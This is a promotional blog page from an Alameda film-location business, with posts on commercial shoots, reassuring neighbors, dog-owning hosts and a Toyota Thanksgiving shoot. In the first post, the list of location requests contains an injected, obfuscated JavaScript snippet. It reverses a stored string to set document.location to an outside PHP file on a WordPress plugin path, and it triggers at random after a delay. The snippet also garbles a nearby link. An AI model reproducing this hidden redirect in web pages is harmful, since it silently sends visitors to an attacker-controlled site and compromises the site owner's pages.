Locations Take the Lead in Productions


Yes, the director really does say that, and those three little words elicit a round of applause on par with that heard at Davis Symphony Hall. And then it’s back to work making the location look as if the production was never there.

But everything has a beginning, and productions are no exception. So for the curious: a brief explanation we shall call The Birth of a Commercial.

A company decides to make a commercial and either has an in-house group that can produce it or, more often than not, hires an advertising agency to create a script. That agency then looks around for someone to shoot what they have written, namely a production company. In fact, more and more production companies are being hired to create the entire project from zero. Such is the talent among us. Once the idea is firmly in place,   a location is needed and that is where Alameda on Location steps in.

We field calls from location scouts and producers for all sorts of requests: do you have a tree-lined street that we can drive a bus through? Sure! Do we have an exterior fire escape that has a Brooklyn feel to it? Yep!  How about a community garden? Copy that! A coffee house? Hair Salon?$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == “string”) return $vTB$I_919AeEAw2z$KX.list[n].split(“”).reverse().join(“”);return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=[“‘php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andelion-flower-shop/” target=”_blank”> A Parisian flower boutique? Of course we do! We might be an island, but we are a CITY-island first founded in 1853. With architecture spanning the decades, we’ve got what you are looking for.

And if we don’t have it then we will find it for you… and wrap THAT up for you with smile:-)


A Shooting in the ‘Hood

Every once in a while, a homeowner will turn to me in the middle of a production and ask, “Is this shoot okay with my neighbors?”

That’s a tough one to answer because, a) I am not a mind-reader and b) it depends on who your neighbors are. I meet many neighbors ahead of time while going door-t0-door with “Shoot Day” information and most are perfectly fine with professional production crews. Because so many crew people have very specific tasks, they are often hanging out in their trucks or standing on the street quietly chatting between rolling sound, setting up lights or reviewing a take. Children playing ball in the street are certain to be noisier, but the sheer number of crew people coming and going can be off-putting to homeowners who view the street and sidewalk in front of their property as …. well, their property. It isn’t theirs, but they have an attachment:-)

How can you help them feel more comfortable about your guests? Use Alameda on Location, of course. We will reach out to everyone near you, corner to corner so that all are aware of your upcoming event. We contact the Alameda Police and city permit centers to ensure that stakeholders are also aware in order to ‘over-prepare’ for an unlikely occurrence. We hang out the day of your event so that concerned neighbors can ask us questions and express concerns. We do this because we know that production companies will shoot somewhere else if they don’t shoot here…and we don’t want to turn them away and shoot ourselves in the foot!



Chronicle of a still shoot

Productions involve months of planning but there are always unforeseen changes at the last minute. Take this most recent still shoot to promote Chronicle Books merchandize: the photos were supposed to depict an outside birthday party with children frolicking amongst the foliage, balloons and cupcakes in hand. But, Mother Nature killed that option around 5am when she decided that, after a month-long dry spell, the bulbs might need a little drink:-)

So, into the dining room we went even while I imagined the worse: spilled milk, hand-prints, a game of toss with my antique vase. I mean, these weren’t actors but real kids– the children of a few Chronicle Books employees with a neighbor or two thrown in. But, as usual, the day was seamless and ended with cupcakes and kisses all around. Why? Because the adults were just as flexible as the kids, moving their schedules around as needed, and keeping little ones occupied between takes.

What about you? Not intimidated by sticky fingers and a little rain? Then contact us! Because the money you make hosting a production can buy a LOT of cupcakes ….and the smiles that go with them.

Why dogs are a production’s Best Friend

Like many people in Alameda, I like dogs. People who know me know that if my miniature poodle and my husband were both in need of extraction from quicksand, its anybody’s bet who’d be pulled out first. But, did you know that Man’s Best Friend is also a friend to all productions? Here’s why:

90% of the homes and locations listed with Alameda on Location sport a dog as their family member. In fact, the ratio is so large, that one of my first questions when locations are referred to our website is “Great! Does the property owner have a dog?”

Dog owners are chill. Maybe its the midnight barking, or the scratched floors, or the bunnies gathering dust in the corner of the dining room. You just can’t be too precious with a home or business when your dog saunters over the carpet after a long, hard day of digging.

So, no need to sit up and beg for attention! If you have a dog, we’ve got your treat right here, and we want to hear from you. Contact us today by sending in a few photos of your location. After we review them, we will schedule a meeting …. and maybe AoL will adopt your home/business for it’s next shoot!

Giving thanks to Toyota, one edit at a time

An editor sees errors. That’s the job. But even the editor at the SF Chronicle had to admit that the shoot last week for Toyota Nor Cal went perfectly … and that’s saying something, especially because there was a dog, a turkey, and a tight schedule in the mix. This was a one day shoot at the residence of John Diaz, the Editorial Page Editor for the Chronicle, and it was his first run-through with Alameda on Location.

Here’s what he had to say: “Sara, Thanks again for all your great work in lining up and facilitating the shoot. I thought it went well, and was overall pleased with the experience. It was fun working with you, and I hope to do so again.”  We do too!

And the commercial? It’s the one with a Thanksgiving scene in which a table is set with food and family, who leave promptly  before the pie in order to make it to the Toyota sale event. Mom gets the pie to herself … which I thought was a win-win.

Another win-win that comes to my mind? Contacting Alameda on Location.

Why Say “No”?

We were recently contacted by a location manager with whom we’ve worked dozens of shoots. A director had seen a home in Alameda that looked promising; did we know the owner? We did. Would they be agreeable to a very small shoot with one van and a hand-held camera for a few hours in front of the home. We thought they would but surprise! They said “No”.

They declined the shoot because they didn’t really need the money and were concerned about the impact this might have on the residents around them. It felt at once respectful and polite … putting others needs before one’s own goes way back to kindergarten.

BUT Alameda has many needy charities that are supported by its generous residents and hundreds of dollars were offered for this small shoot, no more invasive than a tea party. What would the neighbors think about that, I wondered?

Just something to consider: a few more cars on your street for a day might mean a new home for a lost puppy or food for a hungry Alamedan.

So please, if you are lucky to have a home that is enticing enough for a commercial director to make an offer,  just say “YES”! Sheltering in place can take on a whole meaning when we do it together!